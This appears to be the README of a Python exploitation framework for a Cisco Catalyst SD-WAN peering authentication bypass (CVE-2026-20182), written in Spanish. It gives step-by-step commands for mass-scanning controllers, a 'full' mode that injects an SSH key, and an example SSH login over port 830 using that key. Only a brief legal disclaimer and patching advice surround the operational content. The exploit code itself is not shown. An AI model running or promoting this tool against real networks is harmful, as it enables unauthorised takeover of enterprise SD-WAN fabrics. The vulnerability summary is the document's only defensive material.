CVE-2026-20182

Omisión de autenticación de peering en Cisco Catalyst SD-WAN

CVE-2026-20182 — Omisión de autenticación de peering en Cisco Catalyst SD-WAN

Herramienta de evaluación para pruebas autorizadas de la omisión de autenticación de peering en Cisco Catalyst SD-WAN Controller / Manager (CVE-2026-20182).

Resumen de la vulnerabilidad

Aviso de mayo de 2026: Un fallo en el handshake de conexión de control / autenticación de peering permite que un atacante remoto no autenticado omita la autenticación y obtenga acceso interno con privilegios elevados en los sistemas afectados.

Un atacante envía solicitudes manipuladas al sistema afectado. Si tiene éxito, el atacante puede autenticarse como una cuenta interna, con privilegios elevados y no root y alcanzar NETCONF, lo que permite manipular la configuración del fabric de SD-WAN.

Recomendación: Aplique los parches de seguridad de Cisco según las indicaciones oficiales del proveedor. Restrinja la exposición del plano de gestión, supervise las conexiones del plano de control y audite los controladores SD-WAN para detectar cambios de configuración no autorizados.

Contacto

Telegram: @KNxploited

Vista previa de consola

Herramienta: CVE-2026-20182.py

Marco de explotación en Python 3 para CVE-2026-20182 contra vdaemon de Cisco SD-WAN (UDP/DTLS 12346).

Qué hace (paso a paso)

Respaldo de fabric: Ante TEAR_DOWN o discrepancia de parámetros, reintenta con los valores alternativos de domain/site (1,100), (1,1), (0,0) a menos que se use --no-fallback.

Niveles de resultados (leer con atención)

Importante

• El modo check → como máximo nivel 03 (sonda de bypass). No es prueba de explotación completa.
• El modo full → apunta al nivel 01 (ssh_verified).
• https://host en la lista → solo sugerencia web TCP (80/443). No es DTLS UDP en el 443.

Requisitos

pip install -r requirements.txt

OpenSSL (sistema)

Windows

1. Instale Win64 OpenSSL 3.x o equivalente
2. Agregue bin\ al PATH o establezca:

OPENSSL_HOME=C:\Program Files\OpenSSL-Win64

Linux

# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH

La herramienta sale al inicio si no se puede cargar OpenSSL.

Inicio rápido

Menú interactivo (predeterminado)

python CVE-2026-20182.py

• Configure las opciones 1–11 y luego 0 = INICIAR ESCANEO
• Modo de ejecución predeterminado: check (sonda de bypass segura)

No interactivo (automatización)

python CVE-2026-20182.py -y

Modos de ejecución

CHECK — solo sonda de bypass

python CVE-2026-20182.py -y --mode check

FULL — inyectar clave y verificar SSH (solo objetivos autorizados)

python CVE-2026-20182.py -y --mode full

Referencia de CLI (todas las opciones y ejemplos)

Objetivos y trabajadores

-f / --file — lista de objetivos (predeterminado: targets.txt)

python CVE-2026-20182.py -y -f my_controllers.txt --mode check

-t / --threads — subprocesos de trabajo (1–200, predeterminado 12)

python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check

--domain — DOMAIN_ID predeterminado cuando no está en la lista (predeterminado: 1)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check

--site — SITE_ID predeterminado cuando no está en la lista (predeterminado: 100)

python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full

Modo y automatización

--mode — check | full

python CVE-2026-20182.py -y --mode full -f targets.txt

-y / --yes — omitir el menú interactivo; usar solo valores de CLI

python CVE-2026-20182.py -y -f targets.txt --mode check -t 20

Verificación SSH

--no-ssh-verify — omitir la prueba SSH posterior a la inyección (no recomendado en modo full)

python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt

--verify-ssh22 — probar también TCP 22 después de 830

python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt

UDP / fabric

--no-try-list-udp — solo UDP 12346; ignorar :port de la lista

python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check

--extra-udp-ports — laboratorio: puertos UDP adicionales en cada host

python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check

--no-fallback — deshabilitar el reintento domain/site ante TEAR_DOWN

python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full

Registro

-v / --verbose — registrar cada mensaje de protocolo TX/RX

python CVE-2026-20182.py -y -v -f targets.txt --mode check

Menú interactivo (cuando se omite -y)

Formato de targets.txt

Un objetivo por línea. Las líneas que empiezan por # se ignoran.

Archivo de ejemplo

# Lab controllers — authorized only
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1

No compatible: IPv6 (solo IPv4 / nombre de host).

Archivos de salida

Ejemplo de comando SSH (nivel 01)

ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N

Flujos de trabajo recomendados

1) Cribar muchos hosts (rápido)

python CVE-2026-20182.py -y -f targets.txt --mode check -t 24

Revise cisco_sdwan_03_bypass_only.jsonl y las estadísticas en vivo Solo bypass.

2) Confirmar la explotación en los hosts preseleccionados

python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8

Revise cisco_sdwan_01_confirmed_ssh.jsonl — único archivo con ssh_verified: true.

3) Depurar un solo host (modo verboso)

python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback

Telemetría en vivo (durante el escaneo)

Notas operativas

• El modo predeterminado es check — no escribe claves ni prueba SSH por sí mismo.
• Éxito real = ssh_verified=true solo en modo full.
• Sistema parcheado / fabric incorrecto → a menudo TEAR_DOWN después de CHALLENGE_ACK; active el respaldo de fabric o corrija domain/site en la lista.
• El firewall debe permitir UDP/12346 (y cualquier puerto UDP adicional de la lista) desde su escáner hasta el controlador.
• No haga commit de sdwan_keys/ ni de los resultados del escaneo en repositorios públicos.

Aviso legal

Este software es solo para investigación de seguridad autorizada, evaluación defensiva y educación.

Debe tener permiso explícito por escrito para probar cualquier sistema que no posea u opere. El acceso no autorizado a sistemas informáticos es ilegal. El autor no es responsable del mal uso, daños o consecuencias legales derivados del uso de esta herramienta.

Úselo únicamente en sistemas y redes donde esté explícitamente autorizado para realizar pruebas de seguridad.

Por: Nxploited ( Khaled Alenazi )